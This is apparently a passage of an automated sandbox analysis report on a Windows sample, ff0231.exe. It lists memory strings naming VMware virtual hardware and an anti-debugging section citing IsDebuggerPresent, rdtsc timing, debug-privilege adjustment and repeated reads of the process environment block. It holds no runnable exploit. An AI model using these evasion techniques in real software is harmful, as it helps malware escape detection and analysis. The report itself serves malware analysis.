Source: explorer.exe, 00000010.00000003.879179015.000000000D245000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bb
Source: explorer.exe, 00000010.00000003.864125879.000000000D60B000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bf
Source: explorer.exe, 00000010.00000003.861766817.000000000635C000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BZ
Source: explorer.exe, 00000010.00000003.864125879.000000000D60B000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}<
Source: explorer.exe, 00000010.00000003.872436336.0000000006382000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Users
Source: explorer.exe, 00000010.00000000.880892139.0000000006362000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb
Source: explorer.exe, 00000010.00000003.871211081.0000000006374000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}@
Source: explorer.exe, 00000010.00000003.871531385.0000000006381000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}LocalState
Source: explorer.exe, 00000010.00000003.866681669.00000000063C4000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7j
Source: explorer.exe, 00000010.00000000.880581056.000000000624C000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000010.00000003.871531385.0000000006381000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Be.
Source: explorer.exe, 00000010.00000003.879335481.00000000063FB000.00000004.00000001.sdmp Binary or memory string: 0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f
Source: explorer.exe, 00000010.00000000.806552019.0000000000AD8000.00000004.00000020.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000q
Source: explorer.exe, 00000010.00000000.806552019.0000000000AD8000.00000004.00000020.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000010.00000003.866681669.00000000063C4000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}h
Source: explorer.exe, 00000010.00000003.867980328.000000000D678000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Q)
Source: explorer.exe, 00000010.00000000.879501670.0000000005E3D000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000010.00000000.876652656.0000000004B3D000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000K

Anti Debugging:

barindex
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_10008C65 IsDebuggerPresent, 0_2_10008C65
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_1000B120 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 0_2_1000B120
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00405C49 GetModuleHandleA,LoadLibraryA,GetProcAddress, 0_2_00405C49
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_10001000 GetProcessHeap,HeapAlloc,GetUserDefaultLCID, 0_2_10001000
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00409AA0 rdtsc 3_2_00409AA0
Enables debug privileges
Source: C:\Users\user\Desktop\ff0231.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B9080 mov eax, dword ptr fs:[00000030h] 3_2_009B9080
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EF0BF mov ecx, dword ptr fs:[00000030h] 3_2_009EF0BF
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EF0BF mov eax, dword ptr fs:[00000030h] 3_2_009EF0BF
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EF0BF mov eax, dword ptr fs:[00000030h] 3_2_009EF0BF
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A33884 mov eax, dword ptr fs:[00000030h] 3_2_00A33884
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A33884 mov eax, dword ptr fs:[00000030h] 3_2_00A33884
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F90AF mov eax, dword ptr fs:[00000030h] 3_2_009F90AF
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E20A0 mov eax, dword ptr fs:[00000030h] 3_2_009E20A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E20A0 mov eax, dword ptr fs:[00000030h] 3_2_009E20A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E20A0 mov eax, dword ptr fs:[00000030h] 3_2_009E20A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E20A0 mov eax, dword ptr fs:[00000030h] 3_2_009E20A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E20A0 mov eax, dword ptr fs:[00000030h] 3_2_009E20A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E20A0 mov eax, dword ptr fs:[00000030h] 3_2_009E20A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A4B8D0 mov eax, dword ptr fs:[00000030h] 3_2_00A4B8D0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A4B8D0 mov ecx, dword ptr fs:[00000030h] 3_2_00A4B8D0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A4B8D0 mov eax, dword ptr fs:[00000030h] 3_2_00A4B8D0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A4B8D0 mov eax, dword ptr fs:[00000030h] 3_2_00A4B8D0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A4B8D0 mov eax, dword ptr fs:[00000030h] 3_2_00A4B8D0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A4B8D0 mov eax, dword ptr fs:[00000030h] 3_2_00A4B8D0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B58EC mov eax, dword ptr fs:[00000030h] 3_2_009B58EC
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B40E1 mov eax, dword ptr fs:[00000030h] 3_2_009B40E1
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B40E1 mov eax, dword ptr fs:[00000030h] 3_2_009B40E1
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B40E1 mov eax, dword ptr fs:[00000030h] 3_2_009B40E1
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA830 mov eax, dword ptr fs:[00000030h] 3_2_009DA830
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA830 mov eax, dword ptr fs:[00000030h] 3_2_009DA830
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA830 mov eax, dword ptr fs:[00000030h] 3_2_009DA830
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA830 mov eax, dword ptr fs:[00000030h] 3_2_009DA830
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E002D mov eax, dword ptr fs:[00000030h] 3_2_009E002D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E002D mov eax, dword ptr fs:[00000030h] 3_2_009E002D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E002D mov eax, dword ptr fs:[00000030h] 3_2_009E002D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E002D mov eax, dword ptr fs:[00000030h] 3_2_009E002D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E002D mov eax, dword ptr fs:[00000030h] 3_2_009E002D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A37016 mov eax, dword ptr fs:[00000030h] 3_2_00A37016
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A37016 mov eax, dword ptr fs:[00000030h] 3_2_00A37016
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A37016 mov eax, dword ptr fs:[00000030h] 3_2_00A37016
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CB02A mov eax, dword ptr fs:[00000030h] 3_2_009CB02A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CB02A mov eax, dword ptr fs:[00000030h] 3_2_009CB02A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CB02A mov eax, dword ptr fs:[00000030h] 3_2_009CB02A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CB02A mov eax, dword ptr fs:[00000030h] 3_2_009CB02A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A84015 mov eax, dword ptr fs:[00000030h] 3_2_00A84015
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A84015 mov eax, dword ptr fs:[00000030h] 3_2_00A84015
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D0050 mov eax, dword ptr fs:[00000030h] 3_2_009D0050
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D0050 mov eax, dword ptr fs:[00000030h] 3_2_009D0050
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A72073 mov eax, dword ptr fs:[00000030h] 3_2_00A72073
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A81074 mov eax, dword ptr fs:[00000030h] 3_2_00A81074
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A749A4 mov eax, dword ptr fs:[00000030h] 3_2_00A749A4
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A749A4 mov eax, dword ptr fs:[00000030h] 3_2_00A749A4
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A749A4 mov eax, dword ptr fs:[00000030h] 3_2_00A749A4
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A749A4 mov eax, dword ptr fs:[00000030h] 3_2_00A749A4
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A369A6 mov eax, dword ptr fs:[00000030h] 3_2_00A369A6
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E2990 mov eax, dword ptr fs:[00000030h] 3_2_009E2990
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EA185 mov eax, dword ptr fs:[00000030h] 3_2_009EA185
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A351BE mov eax, dword ptr fs:[00000030h] 3_2_00A351BE
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A351BE mov eax, dword ptr fs:[00000030h] 3_2_00A351BE
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A351BE mov eax, dword ptr fs:[00000030h] 3_2_00A351BE
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A351BE mov eax, dword ptr fs:[00000030h] 3_2_00A351BE
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DC182 mov eax, dword ptr fs:[00000030h] 3_2_009DC182
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E61A0 mov eax, dword ptr fs:[00000030h] 3_2_009E61A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E61A0 mov eax, dword ptr fs:[00000030h] 3_2_009E61A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A441E8 mov eax, dword ptr fs:[00000030h] 3_2_00A441E8
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BB1E1 mov eax, dword ptr fs:[00000030h] 3_2_009BB1E1
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BB1E1 mov eax, dword ptr fs:[00000030h] 3_2_009BB1E1
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BB1E1 mov eax, dword ptr fs:[00000030h] 3_2_009BB1E1
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B9100 mov eax, dword ptr fs:[00000030h] 3_2_009B9100
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B9100 mov eax, dword ptr fs:[00000030h] 3_2_009B9100
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B9100 mov eax, dword ptr fs:[00000030h] 3_2_009B9100
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E513A mov eax, dword ptr fs:[00000030h] 3_2_009E513A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E513A mov eax, dword ptr fs:[00000030h] 3_2_009E513A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D4120 mov eax, dword ptr fs:[00000030h] 3_2_009D4120
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D4120 mov eax, dword ptr fs:[00000030h] 3_2_009D4120
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D4120 mov eax, dword ptr fs:[00000030h] 3_2_009D4120
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D4120 mov eax, dword ptr fs:[00000030h] 3_2_009D4120
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D4120 mov ecx, dword ptr fs:[00000030h] 3_2_009D4120
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DB944 mov eax, dword ptr fs:[00000030h] 3_2_009DB944
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DB944 mov eax, dword ptr fs:[00000030h] 3_2_009DB944
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BB171 mov eax, dword ptr fs:[00000030h] 3_2_009BB171
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BB171 mov eax, dword ptr fs:[00000030h] 3_2_009BB171
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BC962 mov eax, dword ptr fs:[00000030h] 3_2_009BC962
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009ED294 mov eax, dword ptr fs:[00000030h] 3_2_009ED294
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009ED294 mov eax, dword ptr fs:[00000030h] 3_2_009ED294
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CAAB0 mov eax, dword ptr fs:[00000030h] 3_2_009CAAB0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CAAB0 mov eax, dword ptr fs:[00000030h] 3_2_009CAAB0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EFAB0 mov eax, dword ptr fs:[00000030h] 3_2_009EFAB0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B52A5 mov eax, dword ptr fs:[00000030h] 3_2_009B52A5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B52A5 mov eax, dword ptr fs:[00000030h] 3_2_009B52A5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B52A5 mov eax, dword ptr fs:[00000030h] 3_2_009B52A5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B52A5 mov eax, dword ptr fs:[00000030h] 3_2_009B52A5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B52A5 mov eax, dword ptr fs:[00000030h] 3_2_009B52A5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E2ACB mov eax, dword ptr fs:[00000030h] 3_2_009E2ACB
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E2AE4 mov eax, dword ptr fs:[00000030h] 3_2_009E2AE4
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D3A1C mov eax, dword ptr fs:[00000030h] 3_2_009D3A1C
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B5210 mov eax, dword ptr fs:[00000030h] 3_2_009B5210
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B5210 mov ecx, dword ptr fs:[00000030h] 3_2_009B5210
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B5210 mov eax, dword ptr fs:[00000030h] 3_2_009B5210
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B5210 mov eax, dword ptr fs:[00000030h] 3_2_009B5210
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BAA16 mov eax, dword ptr fs:[00000030h] 3_2_009BAA16
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BAA16 mov eax, dword ptr fs:[00000030h] 3_2_009BAA16
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C8A0A mov eax, dword ptr fs:[00000030h] 3_2_009C8A0A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7AA16 mov eax, dword ptr fs:[00000030h] 3_2_00A7AA16
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7AA16 mov eax, dword ptr fs:[00000030h] 3_2_00A7AA16
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F4A2C mov eax, dword ptr fs:[00000030h] 3_2_009F4A2C
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F4A2C mov eax, dword ptr fs:[00000030h] 3_2_009F4A2C
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA229 mov eax, dword ptr fs:[00000030h] 3_2_009DA229
